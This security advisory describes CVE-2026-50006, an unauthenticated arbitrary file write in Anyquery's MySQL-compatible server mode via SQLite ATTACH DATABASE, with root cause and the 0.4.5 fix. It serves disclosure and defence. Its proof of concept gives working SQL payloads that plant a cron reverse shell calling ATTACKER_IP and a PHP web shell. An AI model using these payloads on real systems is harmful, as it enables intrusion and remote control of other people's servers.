critical · 9.1CVE-2026-50006Jul 14, 2026

CVE-2026-50006: Anyquery Arbitrary File Write via Unrestricted ATTACH DATABASE in Server Mode

Shubham Kandhare
Security Engagement Manager, SecureLayer7

Anyquery's MySQL-compatible server mode passes SQL commands directly to SQLite without restriction, letting any unauthenticated attacker use ATTACH DATABASE to write arbitrary files anywhere on the fi

Packagegithub.com/julien040/anyquery
Ecosystemgo
Affected< 0.4.5

The problem

When Anyquery runs in server mode (`anyquery server`), it exposes a MySQL-compatible TCP port with no authentication required by default. All SQL is forwarded straight to the underlying SQLite engine without any command filtering.

SQLite's `ATTACH DATABASE` command creates a real file on disk at whatever path the caller supplies. An attacker connecting over the network can write a SQLite database to any path the process has write access to, including `/etc/cron.d/`, `/var/www/html/`, or `/root/.ssh/authorized_keys`.

The written file contains a SQLite binary header followed by attacker-controlled table rows. Linux services such as cron, sshd, and PHP tolerate the binary header prefix and will parse and execute the injected content.

Proof of concept

A working proof-of-concept for CVE-2026-50006 in github.com/julien040/anyquery, with the exact payload below.

sql
-- Step 1: connect (no password needed)
-- mysql -u root -h <VICTIM_IP> -P 8070

-- Option A: drop a cron reverse shell (requires write access to /etc/cron.d)
ATTACH DATABASE '/etc/cron.d/pwn' AS pwn;
CREATE TABLE pwn.task (cmd TEXT);
INSERT INTO pwn.task VALUES ('* * * * * root /bin/bash -c "bash -i >& /dev/tcp/ATTACKER_IP/1337 0>&1"');

-- Option B: drop a PHP web shell (requires write access to web root)
ATTACH DATABASE '/var/www/html/shell.php' AS pwn;
CREATE TABLE pwn.hacked (cmd TEXT);
INSERT INTO pwn.hacked VALUES ('<?php system($_GET["cmd"]); ?>');

-- Option C: safe local verification
ATTACH DATABASE '/tmp/pwn.db' AS pwn;
CREATE TABLE pwn.test (cmd TEXT);
INSERT INTO pwn.test VALUES ('Hello Anyquery AFW');

The root cause is a complete absence of SQL command filtering in the server-mode query handler. SQLite treats `ATTACH DATABASE '<path>' AS <alias>` as a first-class command that creates a physical file, so any connected client can redirect SQLite I/O to an arbitrary filesystem path (CWE-22, CWE-73, CWE-862).

The file written is a valid SQLite database, but the attacker controls the content of table rows. Cron, PHP, and sshd all tolerate a leading binary SQLite header and act on the text payload lines that follow, turning a pure write primitive into code execution.

The fix in 0.4.5 adds a blocklist check in the MySQL handler that rejects any query whose normalized token stream begins with `ATTACH` or `DETACH`, preventing the dangerous commands from ever reaching the SQLite engine.

The fix

Upgrade to anyquery 0.4.5 or later. The release blocks `ATTACH DATABASE` and `DETACH DATABASE` in server mode so that remote clients cannot mount or create filesystem-backed databases. If you cannot upgrade immediately, do not expose the anyquery server port to untrusted networks, and run the process as a low-privilege user without write access to sensitive directories.

Reporter not attributed.

References: [1][2][3]

Related research